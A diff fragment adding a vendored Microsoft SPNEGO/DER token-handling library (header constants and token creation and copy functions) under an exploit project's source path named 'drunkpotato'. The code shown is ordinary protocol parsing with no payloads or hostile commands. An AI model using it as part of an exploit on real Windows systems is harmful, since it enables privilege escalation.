// WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||
// OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
// TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY
|
||||
// AND/OR FITNESS FOR A PARTICULAR PURPOSE.
|
||||
//
|
||||
// Date - 10/08/2002
|
||||
// Author - Sanj Surati
|
||||
|
||||
/////////////////////////////////////////////////////////////
|
||||
//
|
||||
// DERPARSE.H
|
||||
//
|
||||
// SPNEGO Token Handler Header File
|
||||
//
|
||||
// Contains the definitions required to properly parse the
|
||||
// SPNEGO DER encoding.
|
||||
//
|
||||
/////////////////////////////////////////////////////////////
|
||||
|
||||
#ifndef __DERPARSE_H__
|
||||
#define __DERPARSE_H__
|
||||
|
||||
// C++ Specific
|
||||
#if defined(__cplusplus)
|
||||
extern "C"
|
||||
{
|
||||
#endif
|
||||
|
||||
/* Identifier Types */
|
||||
#define IDENTIFIER_MASK 0xC0 // Bits 7 and 8
|
||||
#define IDENTIFIER_UNIVERSAL 0x00 // 00 = universal
|
||||
#define IDENTIFIER_APPLICATION 0x40 // 01 = application
|
||||
#define IDENTIFIER_CONTEXT_SPECIFIC 0x80 // 10 = context specific
|
||||
#define IDENTIFIER_PRIVATE 0xC0 // 11 = Private
|
||||
|
||||
/* Encoding type */
|
||||
|
||||
#define FORM_MASK 0x20 /* Bit 6 */
|
||||
#define PRIMITIVE 0x00 /* 0 = primitive */
|
||||
#define CONSTRUCTED 0x20 /* 1 = constructed */
|
||||
|
||||
/* Universal tags */
|
||||
|
||||
#define TAG_MASK 0x1F /* Bits 5 - 1 */
|
||||
#define BOOLEAN 0x01 /* 1: TRUE or FALSE */
|
||||
#define INTEGER 0x02 /* 2: Arbitrary precision integer */
|
||||
#define BITSTRING 0x03 /* 2: Sequence of bits */
|
||||
#define OCTETSTRING 0x04 /* 4: Sequence of bytes */
|
||||
#define NULLTAG 0x05 /* 5: NULL */
|
||||
#define OID 0x06 /* 6: Object Identifier (numeric sequence) */
|
||||
#define OBJDESCRIPTOR 0x07 /* 7: Object Descriptor (human readable) */
|
||||
#define EXTERNAL 0x08 /* 8: External / Instance Of */
|
||||
#define REAL 0x09 /* 9: Real (Mantissa * Base^Exponent) */
|
||||
#define ENUMERATED 0x0A /* 10: Enumerated */
|
||||
#define EMBEDDED_PDV 0x0B /* 11: Embedded Presentation Data Value */
|
||||
#define SEQUENCE 0x10 /* 16: Constructed Sequence / Sequence Of */
|
||||
#define SET 0x11 /* 17: Constructed Set / Set Of */
|
||||
#define NUMERICSTR 0x12 /* 18: Numeric String (digits only) */
|
||||
#define PRINTABLESTR 0x13 /* 19: Printable String */
|
||||
#define T61STR 0x14 /* 20: T61 String (Teletex) */
|
||||
#define VIDEOTEXSTR 0x15 /* 21: Videotex String */
|
||||
#define IA5STR 0x16 /* 22: IA5 String */
|
||||
#define UTCTIME 0x17 /* 23: UTC Time */
|
||||
#define GENERALIZEDTIME 0x18 /* 24: Generalized Time */
|
||||
#define GRAPHICSTR 0x19 /* 25: Graphic String */
|
||||
#define VISIBLESTR 0x1A /* 26: Visible String (ISO 646) */
|
||||
#define GENERALSTR 0x1B /* 27: General String */
|
||||
#define UNIVERSALSTR 0x1C /* 28: Universal String */
|
||||
#define BMPSTR 0x1E /* 30: Basic Multilingual Plane String */
|
||||
|
||||
/* Length encoding */
|
||||
|
||||
#define LEN_XTND 0x80 /* Indefinite or long form */
|
||||
#define LEN_MASK 0x7f /* Bits 7 - 1 */
|
||||
|
||||
#define SEQ_ELM(n) (IDENTIFIER_CONTEXT_SPECIFIC | CONSTRUCTED | ((n)&TAG_MASK))
|
||||
|
||||
//
|
||||
// SPNEGO Token Parsing Constants
|
||||
//
|
||||
|
||||
|
||||
// Fixed Length of NegTokenInit ReqFlags field
|
||||
#define SPNEGO_NEGINIT_MAXLEN_REQFLAGS 2
|
||||
|
||||
// Difference in bits for ReqFlags token
|
||||
#define SPNEGO_NEGINIT_REQFLAGS_BITDIFF 1
|
||||
|
||||
// Fixed Length of NegTokenTarg NegResult field
|
||||
#define SPNEGO_NEGTARG_MAXLEN_NEGRESULT 1
|
||||
|
||||
// Application Specific Construct - Always at the start of a NegTokenInit
|
||||
#define SPNEGO_NEGINIT_APP_CONSTRUCT ( IDENTIFIER_APPLICATION | CONSTRUCTED ) // 0x60
|
||||
|
||||
// Constructed Sequence token - after the actual token identifier token
|
||||
#define SPNEGO_CONSTRUCTED_SEQUENCE ( SEQUENCE | CONSTRUCTED )
|
||||
|
||||
// MechList Type Identifier
|
||||
#define SPNEGO_MECHLIST_TYPE ( SEQUENCE | CONSTRUCTED | OID )
|
||||
|
||||
//
|
||||
// NegTokenInit - Token Identifier and Elements
|
||||
//
|
||||
|
||||
// NegTokenInit - 0xa0
|
||||
#define SPNEGO_NEGINIT_TOKEN_IDENTIFIER ( IDENTIFIER_CONTEXT_SPECIFIC | CONSTRUCTED | \
|
||||
SPNEGO_TOKEN_INIT )
|
||||
|
||||
// Structure elements for NegTokenInit
|
||||
#define SPNEGO_NEGINIT_MECHTYPES 0x0 // MechTypes is element 0
|
||||
#define SPNEGO_NEGINIT_REQFLAGS 0x1 // ReqFlags is element 1
|
||||
#define SPNEGO_NEGINIT_MECHTOKEN 0x2 // MechToken is element 2
|
||||
#define SPNEGO_NEGINIT_MECHLISTMIC 0x3 // MechListMIC is element 3
|
||||
|
||||
// MechTypes element is 0xa0
|
||||
#define SPNEGO_NEGINIT_ELEMENT_MECHTYPES SEQ_ELM(SPNEGO_NEGINIT_MECHTYPES)
|
||||
// ReqFlags element is 0xa1
|
||||
#define SPNEGO_NEGINIT_ELEMENT_REQFLAGS SEQ_ELM(SPNEGO_NEGINIT_REQFLAGS)
|
||||
// MechToken element is 0xa2
|
||||
#define SPNEGO_NEGINIT_ELEMENT_MECHTOKEN SEQ_ELM(SPNEGO_NEGINIT_MECHTOKEN)
|
||||
// MechListMIC element is 0xa3
|
||||
#define SPNEGO_NEGINIT_ELEMENT_MECHLISTMIC SEQ_ELM(SPNEGO_NEGINIT_MECHLISTMIC)
|
||||
|
||||
//
|
||||
// NegTokenTarg - Token Identifier and Elements
|
||||
//
|
||||
|
||||
// NegTokenTarg - 0xa1
|
||||
#define SPNEGO_NEGTARG_TOKEN_IDENTIFIER ( IDENTIFIER_CONTEXT_SPECIFIC | CONSTRUCTED | \
|
||||
SPNEGO_TOKEN_TARG )
|
||||
|
||||
// Structure elements for NegTokenTarg
|
||||
#define SPNEGO_NEGTARG_NEGRESULT 0x0 // NegResult is element 0
|
||||
#define SPNEGO_NEGTARG_SUPPORTEDMECH 0x1 // SupportedMech is element 1
|
||||
#define SPNEGO_NEGTARG_RESPONSETOKEN 0x2 // ResponseToken is element 2
|
||||
#define SPNEGO_NEGTARG_MECHLISTMIC 0x3 // MechListMIC is element 3
|
||||
|
||||
// NegResult element is 0xa0
|
||||
#define SPNEGO_NEGTARG_ELEMENT_NEGRESULT SEQ_ELM(SPNEGO_NEGTARG_NEGRESULT)
|
||||
// SupportedMech element is 0xa1
|
||||
#define SPNEGO_NEGTARG_ELEMENT_SUPPORTEDMECH SEQ_ELM(SPNEGO_NEGTARG_SUPPORTEDMECH)
|
||||
// ResponseToken element is 0xa2
|
||||
#define SPNEGO_NEGTARG_ELEMENT_RESPONSETOKEN SEQ_ELM(SPNEGO_NEGTARG_RESPONSETOKEN)
|
||||
// MechListMIC element is 0xa3
|
||||
#define SPNEGO_NEGTARG_ELEMENT_MECHLISTMIC SEQ_ELM(SPNEGO_NEGTARG_MECHLISTMIC)
|
||||
|
||||
//
|
||||
// Defines a GSS Mechanism OID. We keep a single static array
|
||||
// of these which we'll use for validation/searches/parsing.
|
||||
//
|
||||
|
||||
typedef struct _mechOID
|
||||
{
|
||||
unsigned char* ucOid; // Byte representation of OID
|
||||
int iLen; // Length of the OID, length and identifier
|
||||
int iActualDataLen; // Length of the actual OID
|
||||
SPNEGO_MECH_OID eMechanismOID; // Which OID is this?
|
||||
} MECH_OID;
|
||||
|
||||
|
||||
//
|
||||
// ASN Der functions
|
||||
//
|
||||
|
||||
static int ASNDerGetLength(unsigned char* pbLengthData, unsigned short nBoundaryLength, unsigned short* pnLength,
|
||||
unsigned short* pnNumLengthBytes);
|
||||
int ASNDerCheckToken(unsigned char* pbTokenData, unsigned char nToken,
|
||||
unsigned short nCheckLength, unsigned short nBoundaryLength, unsigned short* pnLength,
|
||||
unsigned short* pnTokenLength);
|
||||
int ASNDerCheckOID(unsigned char* pbTokenData, SPNEGO_MECH_OID nMechOID, unsigned short nBoundaryLength,
|
||||
unsigned short* pnTokenLength);
|
||||
static unsigned short ASNDerCalcNumLengthBytes(unsigned short nLength);
|
||||
unsigned short ASNDerCalcTokenLength(unsigned short nLength, unsigned short nDataLength);
|
||||
unsigned short ASNDerCalcElementLength(unsigned short nDataLength, unsigned short* pnInternalLength);
|
||||
unsigned short ASNDerCalcMechListLength(SPNEGO_MECH_OID mechoid, unsigned short* pnInternalLength);
|
||||
static unsigned short ASNDerWriteLength(unsigned char* pbData, unsigned short nLength);
|
||||
unsigned short ASNDerWriteToken(unsigned char* pbData, unsigned char ucType,
|
||||
unsigned char* pbTokenValue, unsigned short nLength);
|
||||
int ASNDerWriteOID(unsigned char* pbData, SPNEGO_MECH_OID eMechOID);
|
||||
unsigned short ASNDerWriteMechList(unsigned char* pbData, SPNEGO_MECH_OID mechoid);
|
||||
unsigned short ASNDerWriteElement(unsigned char* pbData, unsigned char ucElementSequence,
|
||||
unsigned char ucType, unsigned char* pbTokenValue, unsigned short nLength);
|
||||
|
||||
|
||||
// C++ Specific
|
||||
#if defined(__cplusplus)
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
791
external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/spnego.c
vendored
Normal file
791
external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/spnego.c
vendored
Normal file
@ -0,0 +1,791 @@
|
||||
// Copyright (C) 2002 Microsoft Corporation
|
||||
// All rights reserved.
|
||||
//
|
||||
// THIS CODE AND INFORMATION IS PROVIDED "AS IS"
|
||||
// WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||
// OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
// TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY
|
||||
// AND/OR FITNESS FOR A PARTICULAR PURPOSE.
|
||||
//
|
||||
// Date - 10/08/2002
|
||||
// Author - Sanj Surati
|
||||
|
||||
/////////////////////////////////////////////////////////////
|
||||
//
|
||||
// SPNEGO.C
|
||||
//
|
||||
// SPNEGO Token Handler Source File
|
||||
//
|
||||
// Contains implementation of SPNEGO Token Handling API
|
||||
// as defined in SPNEGO.H.
|
||||
//
|
||||
/////////////////////////////////////////////////////////////
|
||||
|
||||
/*#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <memory.h>
|
||||
#include "spnego.h"
|
||||
#include "derparse.h"
|
||||
#include "spnegoparse.h"*/
|
||||
|
||||
#include "..\pch.h"
|
||||
|
||||
//
|
||||
// Defined in DERPARSE.C
|
||||
//
|
||||
|
||||
extern MECH_OID g_stcMechOIDList[];
|
||||
|
||||
|
||||
/**********************************************************************/
|
||||
/** **/
|
||||
/** **/
|
||||
/** **/
|
||||
/** **/
|
||||
/** SPNEGO Token Handler API implementation **/
|
||||
/** **/
|
||||
/** **/
|
||||
/** **/
|
||||
/** **/
|
||||
/**********************************************************************/
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// spnegoInitFromBinary
|
||||
//
|
||||
// Parameters:
|
||||
// [in] pbTokenData - Binary Token Data
|
||||
// [in] ulLength - Length of binary Token Data
|
||||
// [out] phSpnegoToken - SPNEGO_TOKEN_HANDLE pointer
|
||||
//
|
||||
// Returns:
|
||||
// int Success - SPNEGO_E_SUCCESS
|
||||
// Failure - SPNEGO API Error code
|
||||
//
|
||||
// Comments :
|
||||
// Initializes a SPNEGO_TOKEN_HANDLE from the supplied
|
||||
// binary data. Data is copied locally. Returned data structure
|
||||
// must be freed by calling spnegoFreeData().
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
int spnegoInitFromBinary(unsigned char* pbTokenData, unsigned short ulLength, SPNEGO_TOKEN_HANDLE* phSpnegoToken)
|
||||
{
|
||||
int nReturn = SPNEGO_E_INVALID_PARAMETER;
|
||||
SPNEGO_TOKEN** ppSpnegoToken = (SPNEGO_TOKEN**)phSpnegoToken;
|
||||
|
||||
// Pass off to a handler function that allows tighter control over how the token structure
|
||||
// is handled. In this case, we want the token data copied and we want the associated buffer
|
||||
// freed.
|
||||
nReturn = InitTokenFromBinary(SPNEGO_TOKEN_INTERNAL_COPYDATA,
|
||||
SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA, pbTokenData,
|
||||
ulLength, ppSpnegoToken);
|
||||
|
||||
return nReturn;
|
||||
}
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// spnegoCreateNegTokenInit
|
||||
//
|
||||
// Parameters:
|
||||
// [in] MechType - MechType to specify in MechTypeList element
|
||||
// [in] ucContextFlags - Context Flags element value
|
||||
// [in] pbMechToken - Pointer to binary MechToken Data
|
||||
// [in] ulMechTokenLen - Length of MechToken Data
|
||||
// [in] pbMechListMIC - Pointer to binary MechListMIC Data
|
||||
// [in] ulMechListMICLen - Length of MechListMIC Data
|
||||
// [out] phSpnegoToken - SPNEGO_TOKEN_HANDLE pointer
|
||||
//
|
||||
// Returns:
|
||||
// int Success - SPNEGO_E_SUCCESS
|
||||
// Failure - SPNEGO API Error code
|
||||
//
|
||||
// Comments :
|
||||
// Initializes a SPNEGO_TOKEN_HANDLE for a NegTokenInit type
|
||||
// from the supplied parameters. ucContextFlags may be 0 or must be
|
||||
// a valid flag combination. MechToken data can be NULL - if not, it
|
||||
// must correspond to the MechType. MechListMIC can also be NULL.
|
||||
// Returned data structure must be freed by calling spnegoFreeData().
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
/*static int spnegoCreateNegTokenInit(SPNEGO_MECH_OID MechType,
|
||||
unsigned char ucContextFlags, unsigned char* pbMechToken,
|
||||
unsigned short ulMechTokenLen, unsigned char* pbMechListMIC,
|
||||
unsigned short ulMechListMICLen, SPNEGO_TOKEN_HANDLE* phSpnegoToken)
|
||||
{
|
||||
int nReturn = SPNEGO_E_INVALID_PARAMETER;
|
||||
unsigned short nTokenLength = 0L;
|
||||
unsigned short nInternalTokenLength = 0L;
|
||||
unsigned char* pbTokenData = NULL;
|
||||
SPNEGO_TOKEN** ppSpnegoToken = (SPNEGO_TOKEN * *)phSpnegoToken;
|
||||
|
||||
if (NULL != ppSpnegoToken &&
|
||||
IsValidMechOid(MechType) &&
|
||||
IsValidContextFlags(ucContextFlags))
|
||||
{
|
||||
// Get the actual token size
|
||||
|
||||
if ((nReturn = CalculateMinSpnegoInitTokenSize(ulMechTokenLen, ulMechListMICLen,
|
||||
MechType, (ucContextFlags != 0L),
|
||||
&nTokenLength, &nInternalTokenLength))
|
||||
== SPNEGO_E_SUCCESS)
|
||||
{
|
||||
// Allocate a buffer to hold the data.
|
||||
pbTokenData = calloc(1, nTokenLength);
|
||||
|
||||
if (NULL != pbTokenData)
|
||||
{
|
||||
|
||||
// Now write the token
|
||||
if ((nReturn = CreateSpnegoInitToken(MechType,
|
||||
ucContextFlags, pbMechToken,
|
||||
ulMechTokenLen, pbMechListMIC,
|
||||
ulMechListMICLen, pbTokenData,
|
||||
nTokenLength, nInternalTokenLength))
|
||||
== SPNEGO_E_SUCCESS)
|
||||
{
|
||||
|
||||
// This will copy our allocated pointer, and ensure that the sructure cleans
|
||||
// up the data later
|
||||
nReturn = InitTokenFromBinary(SPNEGO_TOKEN_INTERNAL_COPYPTR,
|
||||
SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA,
|
||||
pbTokenData, nTokenLength, ppSpnegoToken);
|
||||
|
||||
}
|
||||
|
||||
// Cleanup on failure
|
||||
if (SPNEGO_E_SUCCESS != nReturn)
|
||||
{
|
||||
free(pbTokenData);
|
||||
}
|
||||
|
||||
} // IF alloc succeeded
|
||||
else
|
||||
{
|
||||
nReturn = SPNEGO_E_OUT_OF_MEMORY;
|
||||
}
|
||||
|
||||
} // If calculated token size
|
||||
|
||||
} // IF Valid Parameters
|
||||
|
||||
return nReturn;
|
||||
}*/
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// spnegoCreateNegTokenTarg
|
||||
//
|
||||
// Parameters:
|
||||
// [in] MechType - MechType to specify in supported MechType element
|
||||
// [in] spnegoNegResult - NegResult value
|
||||
// [in] pbMechToken - Pointer to response MechToken Data
|
||||
// [in] ulMechTokenLen - Length of MechToken Data
|
||||
// [in] pbMechListMIC - Pointer to binary MechListMIC Data
|
||||
// [in] ulMechListMICLen - Length of MechListMIC Data
|
||||
// [out] phSpnegoToken - SPNEGO_TOKEN_HANDLE pointer
|
||||
//
|
||||
// Returns:
|
||||
// int Success - SPNEGO_E_SUCCESS
|
||||
// Failure - SPNEGO API Error code
|
||||
//
|
||||
// Comments :
|
||||
// Initializes a SPNEGO_TOKEN_HANDLE for a NegTokenTarg type
|
||||
// from the supplied parameters. MechToken data can be NULL - if not,
|
||||
// it must correspond to the MechType. MechListMIC can also be NULL.
|
||||
// Returned data structure must be freed by calling spnegoFreeData().
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
int spnegoCreateNegTokenTarg(SPNEGO_MECH_OID MechType,
|
||||
SPNEGO_NEGRESULT spnegoNegResult, unsigned char* pbMechToken,
|
||||
unsigned short ulMechTokenLen, unsigned char* pbMechListMIC,
|
||||
unsigned short ulMechListMICLen, SPNEGO_TOKEN_HANDLE* phSpnegoToken)
|
||||
{
|
||||
int nReturn = SPNEGO_E_INVALID_PARAMETER;
|
||||
unsigned short nTokenLength = 0L;
|
||||
unsigned short nInternalTokenLength = 0L;
|
||||
unsigned char* pbTokenData = NULL;
|
||||
SPNEGO_TOKEN** ppSpnegoToken = (SPNEGO_TOKEN**)phSpnegoToken;
|
||||
|
||||
//
|
||||
// spnego_mech_oid_NotUsed and spnego_negresult_NotUsed
|
||||
// are okay here, however a valid MechOid is required
|
||||
// if spnego_negresult_success or spnego_negresult_incomplete
|
||||
// is specified.
|
||||
//
|
||||
|
||||
if (NULL != ppSpnegoToken &&
|
||||
|
||||
(IsValidMechOid(MechType) ||
|
||||
spnego_mech_oid_NotUsed == MechType) &&
|
||||
|
||||
(IsValidNegResult(spnegoNegResult) ||
|
||||
spnego_negresult_NotUsed == spnegoNegResult) &&
|
||||
|
||||
!(!IsValidMechOid(MechType) &&
|
||||
(spnego_negresult_success == spnegoNegResult ||
|
||||
spnego_negresult_incomplete == spnegoNegResult)))
|
||||
{
|
||||
// Get the actual token size
|
||||
|
||||
if ((nReturn = CalculateMinSpnegoTargTokenSize(MechType, spnegoNegResult, ulMechTokenLen, // CHange ici
|
||||
ulMechListMICLen, &nTokenLength,
|
||||
&nInternalTokenLength))
|
||||
== SPNEGO_E_SUCCESS)
|
||||
{
|
||||
// Allocate a buffer to hold the data.
|
||||
pbTokenData = calloc(1, nTokenLength);
|
||||
|
||||
if (NULL != pbTokenData)
|
||||
{
|
||||
// Now write the token
|
||||
if ((nReturn = CreateSpnegoTargToken(MechType,
|
||||
spnegoNegResult, pbMechToken,
|
||||
ulMechTokenLen, pbMechListMIC,
|
||||
ulMechListMICLen, pbTokenData,
|
||||
nTokenLength, nInternalTokenLength))
|
||||
== SPNEGO_E_SUCCESS)
|
||||
{
|
||||
// This will copy our allocated pointer, and ensure that the sructure cleans
|
||||
// up the data later
|
||||
nReturn = InitTokenFromBinary(SPNEGO_TOKEN_INTERNAL_COPYPTR,
|
||||
SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA,
|
||||
pbTokenData, nTokenLength, ppSpnegoToken);
|
||||
}
|
||||
|
||||
// Cleanup on failure
|
||||
if (SPNEGO_E_SUCCESS != nReturn)
|
||||
{
|
||||
free(pbTokenData);
|
||||
}
|
||||
|
||||
} // IF alloc succeeded
|
||||
else
|
||||
{
|
||||
nReturn = SPNEGO_E_OUT_OF_MEMORY;
|
||||
}
|
||||
|
||||
} // If calculated token size
|
||||
|
||||
} // IF Valid Parameters
|
||||
|
||||
return nReturn;
|
||||
}
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// spnegoTokenGetBinary
|
||||
//
|
||||
// Parameters:
|
||||
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
|
||||
// [out] pbTokenData - Buffer to copy token into
|
||||
// [in/out] pulDataLen - Length of pbTokenData buffer, filled out
|
||||
// with actual size used upon function return.
|
||||
//
|
||||
// Returns:
|
||||
// int Success - SPNEGO_E_SUCCESS
|
||||
// Failure - SPNEGO API Error code
|
||||
//
|
||||
// Comments :
|
||||
// Copies binary SPNEGO token data from hSpnegoToken into the user
|
||||
// supplied buffer. If pbTokenData is NULL, or the value in pulDataLen
|
||||
// is too small, the function will return SPNEGO_E_BUFFER_TOO_SMALL and
|
||||
// fill out pulDataLen with the minimum required buffer size.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
int spnegoTokenGetBinary(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbTokenData,
|
||||
unsigned short* pulDataLen)
|
||||
{
|
||||
int nReturn = SPNEGO_E_INVALID_PARAMETER;
|
||||
SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
|
||||
|
||||
// Check parameters - pbTokenData is optional
|
||||
if (IsValidSpnegoToken(pSpnegoToken) &&
|
||||
NULL != pulDataLen)
|
||||
{
|
||||
|
||||
// Check for Buffer too small conditions
|
||||
if (NULL == pbTokenData ||
|
||||
pSpnegoToken->ulBinaryDataLen > * pulDataLen)
|
||||
{
|
||||
*pulDataLen = pSpnegoToken->ulBinaryDataLen;
|
||||
nReturn = SPNEGO_E_BUFFER_TOO_SMALL;
|
||||
}
|
||||
else
|
||||
{
|
||||
memcpy(pbTokenData, pSpnegoToken->pbBinaryData, pSpnegoToken->ulBinaryDataLen);
|
||||
*pulDataLen = pSpnegoToken->ulBinaryDataLen;
|
||||
nReturn = SPNEGO_E_SUCCESS;
|
||||
}
|
||||
|
||||
} // IF parameters OK
|
||||
|
||||
return nReturn;
|
||||
}
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// spnegoFreeData
|
||||
//
|
||||
// Parameters:
|
||||
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
|
||||
//
|
||||
// Returns:
|
||||
// void
|
||||
//
|
||||
// Comments :
|
||||
// Frees up resources consumed by hSpnegoToken. The supplied data
|
||||
// pointer is invalidated by this function.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
void spnegoFreeData(SPNEGO_TOKEN_HANDLE hSpnegoToken)
|
||||
{
|
||||
FreeSpnegoToken((SPNEGO_TOKEN*)hSpnegoToken);
|
||||
return;
|
||||
}
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// spnegoGetTokenType
|
||||
//
|
||||
// Parameters:
|
||||
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
|
||||
// [out] piTokenType - Filled out with token type value.
|
||||
//
|
||||
// Returns:
|
||||
// int Success - SPNEGO_E_SUCCESS
|
||||
// Failure - SPNEGO API Error code
|
||||
//
|
||||
// Comments :
|
||||
// The function will analyze hSpnegoToken and return the appropriate
|
||||
// type in piTokenType.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
/*static int spnegoGetTokenType(SPNEGO_TOKEN_HANDLE hSpnegoToken, int* piTokenType)
|
||||
{
|
||||
int nReturn = SPNEGO_E_INVALID_PARAMETER;
|
||||
SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
|
||||
|
||||
// Check parameters
|
||||
if (IsValidSpnegoToken(pSpnegoToken) &&
|
||||
NULL != piTokenType &&
|
||||
pSpnegoToken)
|
||||
{
|
||||
|
||||
// Check that the type in the structure makes sense
|
||||
if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType ||
|
||||
SPNEGO_TOKEN_TARG == pSpnegoToken->ucTokenType)
|
||||
{
|
||||
*piTokenType = pSpnegoToken->ucTokenType;
|
||||
nReturn = SPNEGO_E_SUCCESS;
|
||||
}
|
||||
|
||||
} // IF parameters OK
|
||||
|
||||
return nReturn;
|
||||
}*/
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// spnegoIsMechTypeAvailable
|
||||
//
|
||||
// Parameters:
|
||||
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
|
||||
// [in] MechOID - MechOID to search MechTypeList for
|
||||
// [out] piMechTypeIndex - Filled out with index in MechTypeList
|
||||
// element if MechOID is found.
|
||||
//
|
||||
// Returns:
|
||||
// int Success - SPNEGO_E_SUCCESS
|
||||
// Failure - SPNEGO API Error code
|
||||
//
|
||||
// Comments :
|
||||
// hSpnegoToken must reference a token of type NegTokenInit. The
|
||||
// function will search the MechTypeList element for an OID corresponding
|
||||
// to the specified MechOID. If one is found, the index (0 based) will
|
||||
// be passed into the piMechTypeIndex parameter.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
// Returns the Initial Mech Type in the MechList element in the NegInitToken.
|
||||
/*static int spnegoIsMechTypeAvailable(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_MECH_OID MechOID, int* piMechTypeIndex)
|
||||
{
|
||||
int nReturn = SPNEGO_E_INVALID_PARAMETER;
|
||||
SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
|
||||
|
||||
// Check parameters
|
||||
if (IsValidSpnegoToken(pSpnegoToken) &&
|
||||
NULL != piMechTypeIndex &&
|
||||
IsValidMechOid(MechOID) &&
|
||||
SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType)
|
||||
{
|
||||
|
||||
// Check if MechList is available
|
||||
if (pSpnegoToken->aElementArray[SPNEGO_INIT_MECHTYPES_ELEMENT].iElementPresent
|
||||
== SPNEGO_TOKEN_ELEMENT_AVAILABLE)
|
||||
{
|
||||
// Locate the MechOID in the list element
|
||||
nReturn = FindMechOIDInMechList(
|
||||
&pSpnegoToken->aElementArray[SPNEGO_INIT_MECHTYPES_ELEMENT],
|
||||
MechOID, piMechTypeIndex);
|
||||
}
|
||||
else
|
||||
{
|
||||
nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
|
||||
}
|
||||
|
||||
} // IF parameters OK
|
||||
|
||||
return nReturn;
|
||||
}*/
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// spnegoGetContextFlags
|
||||
//
|
||||
// Parameters:
|
||||
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
|
||||
// [out] pucContextFlags - Filled out with ContextFlags value.
|
||||
//
|
||||
// Returns:
|
||||
// int Success - SPNEGO_E_SUCCESS
|
||||
// Failure - SPNEGO API Error code
|
||||
//
|
||||
// Comments :
|
||||
// hSpnegoToken must reference a token of type NegTokenInit. The
|
||||
// function will copy data from the ContextFlags element into the
|
||||
// location pucContextFlags points to. Note that the function will
|
||||
// fail if the actual ContextFlags data appears invalid.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
/*static int spnegoGetContextFlags(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pucContextFlags)
|
||||
{
|
||||
int nReturn = SPNEGO_E_INVALID_PARAMETER;
|
||||
SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
|
||||
|
||||
// Check parameters
|
||||
if (IsValidSpnegoToken(pSpnegoToken) &&
|
||||
NULL != pucContextFlags &&
|
||||
SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType)
|
||||
{
|
||||
|
||||
// Check if ContextFlags is available
|
||||
if (pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].iElementPresent
|
||||
== SPNEGO_TOKEN_ELEMENT_AVAILABLE)
|
||||
{
|
||||
// The length should be two, the value should show a 1 bit difference in the difference byte, and
|
||||
// the value must be valid
|
||||
if (pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].nDatalength == SPNEGO_NEGINIT_MAXLEN_REQFLAGS &&
|
||||
pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].pbData[0] == SPNEGO_NEGINIT_REQFLAGS_BITDIFF &&
|
||||
IsValidContextFlags(pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].pbData[1]))
|
||||
{
|
||||
*pucContextFlags = pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].pbData[1];
|
||||
nReturn = SPNEGO_E_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
nReturn = SPNEGO_E_INVALID_ELEMENT;
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
|
||||
}
|
||||
|
||||
} // IF parameters OK
|
||||
|
||||
return nReturn;
|
||||
}*/
|
||||
|
||||
